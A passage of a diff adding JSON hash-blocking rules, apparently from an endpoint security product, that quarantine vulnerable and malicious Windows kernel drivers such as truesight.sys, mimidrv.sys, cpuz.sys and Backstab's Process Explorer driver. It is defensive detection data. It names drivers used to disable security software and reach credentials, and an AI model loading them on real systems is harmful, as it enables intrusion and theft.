+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605395Z",
+  "creation_date": "2026-03-23T11:45:29.605397Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605402Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc",
+  "comment": "Backstab Process Explorer driver (aka PROCEXP.SYS) [https://github.com/Yaxser/Backstab/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e10ff572-a15d-5cef-9a2e-3bea9f95590e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473912Z",
+  "creation_date": "2026-03-23T11:45:30.473915Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473924Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6b56978dd0fc606668c0ed2698b3b22ef53dc6e4a676a4c5479438425d4e60a9",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e13e6e5d-d62a-562d-a1a5-c66500741f20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455136Z",
+  "creation_date": "2026-03-23T11:45:30.455140Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455148Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0123c7f12dd7530d55aee49949ff1fee911c9689bd04591684aa641882589785",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e141ddae-7102-5721-bfa7-e36f20989306",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498063Z",
+  "creation_date": "2026-03-23T11:45:31.498067Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498076Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "148653ffa53559fdb98c87a1f562487ad6632d33fc76d57f696a5eba9cf5e9ef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e14ec1cc-7658-5824-b7fe-4a3aee46c8d6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146502Z",
+  "creation_date": "2026-03-23T11:45:32.146505Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146514Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25819a8c8f2ebceef661d751a56a024a5584f8283d9600273e52d18923c9f455",
+  "comment": "Malicious Kernel Driver (aka f.sys) [https://www.loldrivers.io/drivers/17a1ad58-ecf3-4dea-b1ca-336880d15256/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e15496d7-da94-54cf-ac92-c8f109458674",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145912Z",
+  "creation_date": "2026-03-23T11:45:32.145914Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145919Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d9f15d91397d1c8d01b6d6871c4f18f3a85ca85f091a92f4e9221524344ca5fe",
+  "comment": "Malicious Kernel Driver (aka driver_d9f15d91.sys) [https://www.loldrivers.io/drivers/576bb95a-f15e-4a0d-bcee-08791e1504e2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e15f2979-06b1-5cab-8cef-be42b7834720",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836282Z",
+  "creation_date": "2026-03-23T11:45:30.836285Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836294Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "526d9241fcf4b67d9c11103a007f648e4f7acb5c82d6bc10df1d836c11d44a03",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e1607942-a038-5718-b613-8aa5fc4886ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606667Z",
+  "creation_date": "2026-03-23T11:45:29.606669Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606675Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd15583e9503a6a5e37aa695a9625fe10abb0ea67f298ef529e0061d67aca99b",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e162139f-f7cc-50d7-80b3-875f45d23bb4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981420Z",
+  "creation_date": "2026-03-23T11:45:29.981422Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981427Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d8cfc9abea6d83dfea6da03260ff81be3b7b304321274f696ff0fdb9920c645",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e170d139-8d3a-58d0-bb5b-af7d4ca11b6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473059Z",
+  "creation_date": "2026-03-23T11:45:31.473062Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473070Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ccff824db4c41ee922e8f65035b198ae0d5a28861b3d1cf184a15bc90487ad6a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e1720f4d-13c4-50de-b21a-d2ef141ca899",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472124Z",
+  "creation_date": "2026-03-23T11:45:30.472127Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472137Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac1af529c9491644f1bda63267e0f0f35e30ab0c98ab1aecf4571f4190ab9db4",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e17b7f53-a818-54b0-aff3-0eaf76c8b300",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971821Z",
+  "creation_date": "2026-03-23T11:45:29.971823Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971828Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af7b9e3dca8fd4f9eb548bd06cf9f14dbce9f947fc375064aa90b47e7ee8940c",
+  "comment": "PowerTool Hacktool malicious driver (aka kEvP64.sys) [https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/HackTool.Win64.ToolPow.A/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e181caf6-5a5d-5f43-9fd8-212e8d61d575",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141664Z",
+  "creation_date": "2026-03-23T11:45:31.141665Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141671Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7415b025a04d7c655815c27eff2c449ff2a88a2ed8ebede11ba705c87f5b6cbc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e18986d9-c37b-5317-a517-5819d5e8fd66",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971282Z",
+  "creation_date": "2026-03-23T11:45:29.971286Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971294Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45f42c5d874369d6be270ea27a5511efcca512aeac7977f83a51b7c4dee6b5ef",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e1b17f61-2b1f-518e-9f81-cb0ece8062b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.469629Z",
+  "creation_date": "2026-03-23T11:45:30.469632Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.469641Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f18cb98188952eb08367adc1c6810e4b1c3902240fdcb15efa0ffb1b69a5f98",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e1b75aa4-8796-5d9e-86d1-ed431c9ef5c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621246Z",
+  "creation_date": "2026-03-23T11:45:29.621248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621253Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2da330a2088409efc351118445a824f11edbe51cf3d653b298053785097fe40e",
+  "comment": "ASUSTeK vulnerable physmem driver (aka AsIO64.sys) [https://www.loldrivers.io/drivers/79692987-1dd0-41a0-a560-9a0441922e5a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e1c9ff54-3610-5e58-bf7a-e7cf920d45de",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489213Z",
+  "creation_date": "2026-03-23T11:45:31.489215Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489221Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ec994d3d1963e5ae76bee42edcb54357370e218c41a07851bf13ec0a3220d7f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e1d37d52-0fea-5be7-bf93-50410832e083",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831677Z",
+  "creation_date": "2026-03-23T11:45:30.831679Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831684Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0e7da30faa89f8c902845f7907295541eb3d2f5d9f1a7cda6456255cfd3b3789",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e1d46c39-3d2c-5fa3-a204-d1b72091b370",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830861Z",
+  "creation_date": "2026-03-23T11:45:30.830863Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830880Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2ceeff1bc2380597228991c7ac8f03a3106822e7fc93548ed0b48706355743e7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e1d61157-e381-54d7-b5da-0a6ca49dca2d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499641Z",
+  "creation_date": "2026-03-23T11:45:31.499644Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499652Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7c2281f2a8c6b76a815a9e3ee68a3b4fcf0deaead3bf5c9784d6d75eae77135",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e1e083b0-ba0e-59ce-8224-8af614b2fc4a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465654Z",
+  "creation_date": "2026-03-23T11:45:30.465657Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465666Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e858de280bd72d7538386a73e579580a6d5edba87b66b3671dc180229368be19",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e1e1bf18-0874-54c4-b85a-472a4b53fa62",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499188Z",
+  "creation_date": "2026-03-23T11:45:31.499191Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499200Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33a4755218bbe461ac13eb2adb2b32042afca0f6f357134624210e7e2a9ee30c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e1f13007-332b-5996-b722-8d8a9d141a93",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.478216Z",
+  "creation_date": "2026-03-23T11:45:31.478220Z",
